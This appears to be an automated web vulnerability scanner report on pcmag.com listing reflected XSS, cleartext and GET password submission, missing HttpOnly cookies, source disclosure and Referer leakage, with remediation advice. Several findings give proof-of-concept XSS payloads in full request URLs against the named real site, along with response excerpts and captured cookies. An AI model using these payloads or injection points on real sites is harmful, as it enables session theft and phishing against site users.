XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, pcmag.com

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. http://www.pcmag.com/article2/0,2817,2386340,00.asp [kc parameter] next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.pcmag.com
Path:	/article2/0,2817,2386340,00.asp

Issue detail

The value of the kc request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d9cab'-alert(1)-'d46a6a8cd5b was submitted in the kc parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /article2/0,2817,2386340,00.asp?kc=PCRSS03069TX1K0001121d9cab'-alert(1)-'d46a6a8cd5b HTTP/1.1
Host: www.pcmag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
Content-Type: text/html; charset=iso-8859-1
Last-Modified: Fri, 03 Jun 2011 01:40:43 GMT
X-AspNet-Version: 2.0.50727
X-AspNetMvc-Version: 1.0
X-Powered-By: ASP.NET
Vary: *
Cache-Control: public, max-age=0
Expires: Fri, 03 Jun 2011 01:40:17 GMT
Date: Fri, 03 Jun 2011 01:40:17 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 98337

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>I
...[SNIP]...
sage) {
RPXNOW.realm = 'ziffdavis-eval.rpxnow.com';
RPXNOW.token_url = 'http://www.pcmag.com/account.aspx/sso/?rurl=/article.aspx/curl/2386340?kc=PCRSS03069TX1K0001121d9cab'-alert(1)-'d46a6a8cd5b#CommentsArea';
//RPXNOW.show()
renderLogin();
return false;
};

if (sso_enabled)
DISQUS.dtpl.actions.re
...[SNIP]...

1.2. http://www.pcmag.com/article2/0,2817,2386340,00.asp [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.pcmag.com
Path:	/article2/0,2817,2386340,00.asp

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1498e'-alert(1)-'91bfac6969f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /article2/0,2817,2386340,00.asp?1498e'-alert(1)-'91bfac6969f=1 HTTP/1.1
Host: www.pcmag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
Content-Type: text/html; charset=iso-8859-1
Last-Modified: Fri, 03 Jun 2011 01:40:40 GMT
X-AspNet-Version: 2.0.50727
X-AspNetMvc-Version: 1.0
X-Powered-By: ASP.NET
Vary: *
Cache-Control: public, max-age=0
Expires: Fri, 03 Jun 2011 01:40:19 GMT
Date: Fri, 03 Jun 2011 01:40:19 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 98293

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>I
...[SNIP]...
date_hook = function(message) {
RPXNOW.realm = 'ziffdavis-eval.rpxnow.com';
RPXNOW.token_url = 'http://www.pcmag.com/account.aspx/sso/?rurl=/article.aspx/curl/2386340?1498e'-alert(1)-'91bfac6969f=1#CommentsArea';
//RPXNOW.show()
renderLogin();
return false;
};

if (sso_enabled)
DISQUS.dtpl.actions.
...[SNIP]...

1.3. http://www.pcmag.com/slideshow/story/264827/the-people-behind-the-most-innovative-laptop-designs [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.pcmag.com
Path:	/slideshow/story/264827/the-people-behind-the-most-innovative-laptop-designs

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 10769'-alert(1)-'27eaf1cf5f7 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /slideshow/story/264827/the-people-behind-the-most-innovative-laptop-designs?10769'-alert(1)-'27eaf1cf5f7=1 HTTP/1.1
Host: www.pcmag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

1.4. http://www.pcmag.com/slideshow/story/264996/six-amazing-phone-technologies-we-want-in-iphone-5 [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.pcmag.com
Path:	/slideshow/story/264996/six-amazing-phone-technologies-we-want-in-iphone-5

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ed778'-alert(1)-'55126504d88 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /slideshow/story/264996/six-amazing-phone-technologies-we-want-in-iphone-5?ed778'-alert(1)-'55126504d88=1 HTTP/1.1
Host: www.pcmag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

1.5. http://www.pcmag.com/slideshow/story/265120/9-features-we-d-like-to-see-in-ios-5 [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.pcmag.com
Path:	/slideshow/story/265120/9-features-we-d-like-to-see-in-ios-5

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b19aa'-alert(1)-'c0a457c11cb was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /slideshow/story/265120/9-features-we-d-like-to-see-in-ios-5?b19aa'-alert(1)-'c0a457c11cb=1 HTTP/1.1
Host: www.pcmag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

1.6. http://www.pcmag.com/slideshow/story/265209/five-security-apps-that-can-help-recover-a-stolen-laptop [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.pcmag.com
Path:	/slideshow/story/265209/five-security-apps-that-can-help-recover-a-stolen-laptop

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b639b'-alert(1)-'da52d7a3767 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /slideshow/story/265209/five-security-apps-that-can-help-recover-a-stolen-laptop?b639b'-alert(1)-'da52d7a3767=1 HTTP/1.1
Host: www.pcmag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

2. Cleartext submission of password previous next
There are 3 instances of this issue:

/join/0,,,00.asp
/light_registration_form/
/light_registration_form/

Issue background

Passwords submitted over an unencrypted connection are vulnerable to capture by an attacker who is suitably positioned on the network. This includes any malicious party located on the user's own network, within their ISP, within the ISP used by the application, and within the application's hosting infrastructure. Even if switched networks are employed at some of these locations, techniques exist to circumvent this defence and monitor the traffic passing through switches.

Issue remediation

The application should use transport-level encryption (SSL or TLS) to protect all sensitive communications passing between the client and the server. Communications that should be protected include the login mechanism and related functionality, and any functions where sensitive data can be accessed or privileged actions can be performed. These areas of the application should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications. If HTTP cookies are used for transmitting session tokens, then the secure flag should be set to prevent transmission over clear-text HTTP.

2.1. http://www.pcmag.com/join/0,,,00.asp previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.pcmag.com
Path:	/join/0,,,00.asp

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.pcmag.com/data_sign_in_process/0,1270,,00.asp?return_page=

The form contains the following password field:

txt_user_pwd

Request

GET /join/0,,,00.asp HTTP/1.1
Host: www.pcmag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
X-Powered-By: p3
Content-Length: 33690
Content-Type: text/html
Expires: Fri, 03 Jun 2011 20:43:07 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Fri, 03 Jun 2011 20:43:07 GMT
Connection: close
Set-Cookie: ASPSESSIONIDSASSRQTB=DDGPGONDIHEEMFNLKOEAIOBM; path=/



<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<
...[SNIP]...
<br>
           <form name="loginForm" method="post" action="http://www.pcmag.com/data_sign_in_process/0,1270,,00.asp?return_page=">
<table width="742" height="157px" border="0" cellpadding="5" cellspacing="0" class="j_table5">
...[SNIP]...
<td>

<input input type="password" name="txt_user_pwd" class="inputAvg" maxlength="24" value="" tabindex=2>

                    <br>
...[SNIP]...

2.2. http://www.pcmag.com/light_registration_form/ previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.pcmag.com
Path:	/light_registration_form/

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.pcmag.com/light_registration_form/

The form contains the following password field:

Request

GET /light_registration_form/ HTTP/1.1
Host: www.pcmag.com
Proxy-Connection: keep-alive
Referer: http://www.pcmag.com/article2/0,2817,2386340,00.asp?1498e'-alert(%22XSS%22)-'91bfac6969f=1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.71 Safari/534.24
Accept: text/html,*/*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __vrf=zctfzndiw2qbkpwg; __vru=http://www.pcmag.com/article2/0,2817,2386340,00.asp; s_cc=true; sc_id=null; s_sq=%5B%5BB%5D%5D; pcdishash=e30= 8c6a9fc52a2cfb5bba97676108bf17da4fa90c2c 1307123798; pcdishashtest=anonymous; __utmz=146023605.1307123699.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/32; __utma=146023605.319256951.1307123683.1307123683.1307123683.1; __utmc=146023605; __utmb=146023605.1.10.1307123683; successpage=/article2/0%2C2817%2C2386340%2C00.asp

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
Content-Type: text/html
Vary: Accept-Encoding
Content-Length: 6679
Date: Fri, 03 Jun 2011 17:55:01 GMT
Connection: close



<script type="text/javascript">

   $('div#closeMe').addClass('clickable').click(function() {
       lightbox.formFadeOut();
       $('#addCommentSubmit').sh
...[SNIP]...
</div>
   <form id="fm_login" class="lightbox" >
    <fieldset>
...[SNIP]...
<dt><input type="password" id="zdp" name="zdp" tabindex="102" /></dt>
...[SNIP]...

2.3. http://www.pcmag.com/light_registration_form/ previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.pcmag.com
Path:	/light_registration_form/

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.pcmag.com/light_registration_form/

The form contains the following password fields:

zdpNew
confirmPassword

Request

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
Content-Type: text/html
Vary: Accept-Encoding
Content-Length: 6679
Date: Fri, 03 Jun 2011 17:55:01 GMT
Connection: close



<script type="text/javascript">

   $('div#closeMe').addClass('clickable').click(function() {
       lightbox.formFadeOut();
       $('#addCommentSubmit').sh
...[SNIP]...
</form>

    <form id="fm_register" class="lightbox" >
       <fieldset>
...[SNIP]...
<dt><input type="password" id="zdpNew" name="zdpNew" class="inputText" tabindex="106" /></dt>
...[SNIP]...
<dt><input type="password" id="confirmPassword" name="confirmPassword" class="inputText" tabindex="107" /></dt>
...[SNIP]...

3. Password field submitted using GET method previous next
There are 2 instances of this issue:

/light_registration_form/
/light_registration_form/

Issue background

The application uses the GET method to submit passwords, which are transmitted within the query string of the requested URL. Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing passwords into the URL increases the risk that they will be captured by an attacker.

Issue remediation

All forms submitting passwords should use the POST method. To achieve this, you should specify the method attribute of the FORM tag as method="POST". It may also be necessary to modify the corresponding server-side form handler to ensure that submitted passwords are properly retrieved from the message body, rather than the URL.

3.1. http://www.pcmag.com/light_registration_form/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.pcmag.com
Path:	/light_registration_form/

Issue detail

The page contains a form with the following action URL, which is submitted using the GET method:

http://www.pcmag.com/light_registration_form/

The form contains the following password fields:

zdpNew
confirmPassword

Request

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
Content-Type: text/html
Vary: Accept-Encoding
Content-Length: 6679
Date: Fri, 03 Jun 2011 17:55:01 GMT
Connection: close



<script type="text/javascript">

   $('div#closeMe').addClass('clickable').click(function() {
       lightbox.formFadeOut();
       $('#addCommentSubmit').sh
...[SNIP]...
</form>

    <form id="fm_register" class="lightbox" >
       <fieldset>
...[SNIP]...
<dt><input type="password" id="zdpNew" name="zdpNew" class="inputText" tabindex="106" /></dt>
...[SNIP]...
<dt><input type="password" id="confirmPassword" name="confirmPassword" class="inputText" tabindex="107" /></dt>
...[SNIP]...

3.2. http://www.pcmag.com/light_registration_form/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.pcmag.com
Path:	/light_registration_form/

Issue detail

The page contains a form with the following action URL, which is submitted using the GET method:

http://www.pcmag.com/light_registration_form/

The form contains the following password field:

Request

Response

4. Cookie without HttpOnly flag set previous next
There are 2 instances of this issue:

/join/0,,,00.asp
/Account.aspx/CommentLogin/

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

4.1. http://www.pcmag.com/join/0,,,00.asp previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.pcmag.com
Path:	/join/0,,,00.asp

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

ASPSESSIONIDSASSRQTB=DDGPGONDIHEEMFNLKOEAIOBM; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /join/0,,,00.asp HTTP/1.1
Host: www.pcmag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

4.2. http://www.pcmag.com/Account.aspx/CommentLogin/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.pcmag.com
Path:	/Account.aspx/CommentLogin/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

pcdishash=e30= b81a2b6ec6526b6cd2ef99b67dc8ba0ee5b39782 1307123701; path=/
pcdishashtest=anonymous; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /Account.aspx/CommentLogin/ HTTP/1.1
Host: www.pcmag.com
Proxy-Connection: keep-alive
Referer: http://www.pcmag.com/article2/0,2817,2386340,00.asp?1498e'-alert(%22XSS%22)-'91bfac6969f=1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.71 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __vrf=zctfzndiw2qbkpwg; __vru=http://www.pcmag.com/article2/0,2817,2386340,00.asp

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
Content-Length: 0
X-AspNet-Version: 2.0.50727
X-AspNetMvc-Version: 1.0
X-Powered-By: ASP.NET
Expires: Fri, 03 Jun 2011 17:54:38 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Fri, 03 Jun 2011 17:54:38 GMT
Connection: close
Set-Cookie: pcdishash=e30= b81a2b6ec6526b6cd2ef99b67dc8ba0ee5b39782 1307123701; path=/
Set-Cookie: pcdishashtest=anonymous; path=/

5. Password field with autocomplete enabled previous next
There are 3 instances of this issue:

/join/0,,,00.asp
/light_registration_form/
/light_registration_form/

Issue background

Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.

The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.

Issue remediation

To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).

5.1. http://www.pcmag.com/join/0,,,00.asp previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.pcmag.com
Path:	/join/0,,,00.asp

Issue detail

The page contains a form with the following action URL:

http://www.pcmag.com/data_sign_in_process/0,1270,,00.asp?return_page=

The form contains the following password field with autocomplete enabled:

txt_user_pwd

Request

GET /join/0,,,00.asp HTTP/1.1
Host: www.pcmag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

5.2. http://www.pcmag.com/light_registration_form/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.pcmag.com
Path:	/light_registration_form/

Issue detail

The page contains a form with the following action URL:

http://www.pcmag.com/light_registration_form/

The form contains the following password field with autocomplete enabled:

Request

Response

5.3. http://www.pcmag.com/light_registration_form/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.pcmag.com
Path:	/light_registration_form/

Issue detail

The page contains a form with the following action URL:

http://www.pcmag.com/light_registration_form/

The form contains the following password fields with autocomplete enabled:

zdpNew
confirmPassword

Request

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
Content-Type: text/html
Vary: Accept-Encoding
Content-Length: 6679
Date: Fri, 03 Jun 2011 17:55:01 GMT
Connection: close



<script type="text/javascript">

   $('div#closeMe').addClass('clickable').click(function() {
       lightbox.formFadeOut();
       $('#addCommentSubmit').sh
...[SNIP]...
</form>

    <form id="fm_register" class="lightbox" >
       <fieldset>
...[SNIP]...
<dt><input type="password" id="zdpNew" name="zdpNew" class="inputText" tabindex="106" /></dt>
...[SNIP]...
<dt><input type="password" id="confirmPassword" name="confirmPassword" class="inputText" tabindex="107" /></dt>
...[SNIP]...

6. Source code disclosure previous next

Summary

Severity:	Low
Confidence:	Tentative
Host:	http://www.pcmag.com
Path:	/Content/images/ui-bg_glass_75_ffffff_1x400.png

Issue detail

The application appears to disclose some server-side source code written in ASP.

Issue background

Server-side source code may contain sensitive information which can help an attacker formulate attacks against the application.

Issue remediation

Server-side source code is normally disclosed to clients as a result of typographical errors in scripts or because of misconfiguration, such as failing to grant executable permissions to a script or directory. You should review the cause of the code disclosure and prevent it from happening.

Request

GET /Content/images/ui-bg_glass_75_ffffff_1x400.png HTTP/1.1
Host: www.pcmag.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.pcmag.com/Content/email-to-a-friend.css
Cookie: pcdishash=e30= a45ab0c29ece56a37659ea879d57c51553e65446 1307123794; pcdishashtest=anonymous; __vrf=yy3hrx2l3v0eu9lb; __vru=http://www.pcmag.com/article2/0,2817,2386340,00.asp; s_cc=true; sc_id=null; s_sq=%5B%5BB%5D%5D; __utma=146023605.1143563717.1307123763.1307123763.1307123763.1; __utmb=146023605.1.10.1307123763; __utmc=146023605; __utmz=146023605.1307123787.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; scorecardresearch=1813931286-1256314511-1307123788053; successpage=/article2/0%2C2817%2C2386340%2C00.asp

Response

HTTP/1.1 404 Not Found
Content-Length: 24596
Content-Type: application/octet-stream
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Fri, 03 Jun 2011 17:56:29 GMT
Connection: close

<% response.status = "404 Not Found" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/
...[SNIP]...

7. Cross-domain Referer leakage previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.pcmag.com
Path:	/article2/0,2817,2386340,00.asp

Issue detail

The page was loaded from a URL containing a query string:

http://www.pcmag.com/article2/0,2817,2386340,00.asp?kc=PCRSS03069TX1K0001121

The response contains the following links to other domains:

http://ad.doubleclick.net/ad/N1260.pcmag/B5448313.4;sz=1x1;pc=[TPAS_ID];ord=[timestamp]?
http://ad.doubleclick.net/click;h=v2|3DE1|0|0|%2a|h;241340596;0-0;0;64058737;31-1|1;42208739|42226526|1;;%3fhttp://products.verizonwireless.com/index.aspx?id=fnd_tablets&cmp=BAC-OM-110512TABLET
http://ad.doubleclick.net/clk;222060341;31036038;j?http://www.pcmag.com/infocenter/shop_aisle.aspx?aisleid=54&sb=2&so=1
http://ad.doubleclick.net/clk;233627343;5355897;s?http://www.pcmag.com/infocenter/shop_aisle.aspx?aisleid=24
http://ad.doubleclick.net/clk;236733406;13401844;y?http://www.pcmag.com/infocenter/shop_aisle.aspx?aisleid=59
http://ad.doubleclick.net/clk;237617927;7109927;w?http://www.bitdefender.com/2011/en/2in1security/index.html?cid=%20na_us_pcmag2for1_text
http://ad.doubleclick.net/clk;238058072;60929104;f
http://ad.doubleclick.net/clk;239079229;13401844;h? http://www.visioneer.com/mobility
http://ad.doubleclick.net/clk;239207666;7109927;t?http://www.idrive.com/?refer=PCMSTL1
http://ad.doubleclick.net/clk;239258638;7109927;y?http://www.sosonlinebackup.com/landing-pages/PCMag/PCM20pct/index.htm?utm_source=PCMAG&utm_medium=cpc&utm_term=&utm_content=Textlink&utm_campaign=PCMagTextlink
http://ad.doubleclick.net/clk;240681594;13401844;d?http://www.cisco.com/en/US/prod/wireless/cleanair.html
http://ad.doubleclick.net/clk;240886140;13401844;x?http://adsfac.us/link.asp?cc=ESE002.310524.0
http://ad.doubleclick.net/clk;240887297;13401844;l?http://www.pcmag.com/article2/0,2817,2383651,00.asp
http://ad.doubleclick.net/clk;241336664;62873551;l;pc=[TPAS_ID]
http://ad.doubleclick.net/clk;241366082;7109927;k?http://www.cisco.com/go/xerox
http://ad.doubleclick.net/imp;v1;f;241340596;0-0;0;64058737;1|1;42208739|42226526|1;;cs=s%3fhttp://ad.doubleclick.net/dot.gif?[timestamp]
http://ajax.microsoft.com/ajax/jquery.validate/1.7/jquery.validate.min.js
http://api.recaptcha.net/js/recaptcha_ajax.js
http://b.scorecardresearch.com/p?c1=2&c2=6885615&c3=&c4=&c5=&c6=&c15=&cj=1
http://bs.serving-sys.com/BurstingPipe/adServer.bs?cn=tf&c=20&mc=click&pli=2389655&PluID=0&ord=[timestamp]
http://common.ziffdavisinternet.com/js/s_code_remote.js
http://common1.ziffdavisinternet.com/util_get_image/21/0,1468,i=213322,00.gif
http://common1.ziffdavisinternet.com/util_get_image/30/0,1468,i=304794,00.jpg
http://common1.ziffdavisinternet.com/util_get_image/30/0,1468,i=305014,00.jpg
http://common3.ziffdavisinternet.com/util_get_image/30/0,1468,i=304795,00.jpg
http://common4.ziffdavisinternet.com/util_get_image/30/0,,i=303917,00.jpg
http://common5.ziffdavisinternet.com/util_get_image/29/0,1468,i=298429,00.jpg
http://common6.ziffdavisinternet.com/util_get_image/30/0,1468,i=304792,00.jpg
http://common8.ziffdavisinternet.com/util_get_image/14/0,1468,i=145861,00.gif
http://common8.ziffdavisinternet.com/util_get_image/30/0,1468,i=304790,00.jpg
http://digg.com/pcmag
http://digg.com/submit?url=http://www.pcmag.com/article2/0,2817,2386340,00.asp&title=In+the+Car+with+Ford's+'Look+Out!'+Network%3a+Hands+On
http://disqus.com/
http://disqus.com/?ref_noscript=pcmag
http://ebookstore.sony.com/periodical/_/R-400000000000000198452
http://pagead2.googlesyndication.com/pagead/show_ads.js
http://pcmag.us.intellitxt.com/intellitxt/front.asp?ipid=5279
http://platform.twitter.com/widgets.js
http://rssnewsapps.ziffdavis.com/pcmag.xml
http://search.barnesandnoble.com/PC-Magazine/Ziff-Davis-Media/e/2940000280966/?itm=1&USRI=pc+magazine
http://static.ak.fbcdn.net/connect.php/js/FB.Share
http://stumbleupon.com/submit?url=http://www.pcmag.com/article2/0,2817,2386340,00.asp&title=In+the+Car+with+Ford's+'Look+Out!'+Network%3a+Hands+On
http://twitter.com/MarkHachman
http://twitter.com/pcmag
http://twitter.com/share
http://www.adobe.com/products/captivate.html?sdid=ISQOD
http://www.amazon.com/PC-Magazine/dp/B002A9JXY8/ref=sr_1_1?ie=UTF8&m=AG56TWVU5XWC2&s=digital-text&qid=1285781466&sr=1-1
http://www.appscout.com/
http://www.brother-usa.com/lp/laser-printer.aspx?WT.mc_id=AWARD&Wt.mc_ev=click
http://www.extremetech.com/
http://www.facebook.com/pcmagazine
http://www.facebook.com/plugins/activity.php?site=www.pcmag.com&width=300&height=300&header=false&colorscheme=light&font=arial&border_color=%23ffffff&recommendations=false
http://www.facebook.com/plugins/like.php?href=www.facebook.com%2Fpcmagazine&layout=button_count&show_faces=false&width=100&action=like&colorscheme=light&height=21
http://www.facebook.com/plugins/like.php?url=http://www.pcmag.com/article2/0,2817,2386340,00.asp&title=In+the+Car+with+Ford's+'Look+Out!'+Network%3a+Hands+On
http://www.gearlog.com/
http://www.google.com/profiles/pcmagbuzz
http://www.hightechdad.com/
http://www.logicbuy.com/?utm_source=laptopmag&utm_medium=widget&utm_content=header&utm_campaign=link
http://www.shopping.hp.com/supplies/ink?aoid=12655?ci_src=16996395&ci_sku=Supplies_Textlink1.
http://www.stumbleupon.com/hostedbadge.php?s=2
http://www.symbiosting.com/LogicBuy/images/logicbuy-logo.png
http://www.techsaver.com/
http://www.tweetmixx.com/pcmag
http://www.twitter.com/pcmag
http://www.youtube.com/user/PCMagazineReviews
http://www.ziffdavis.com/
http://www.ziffdavis.com/about/link-to-us
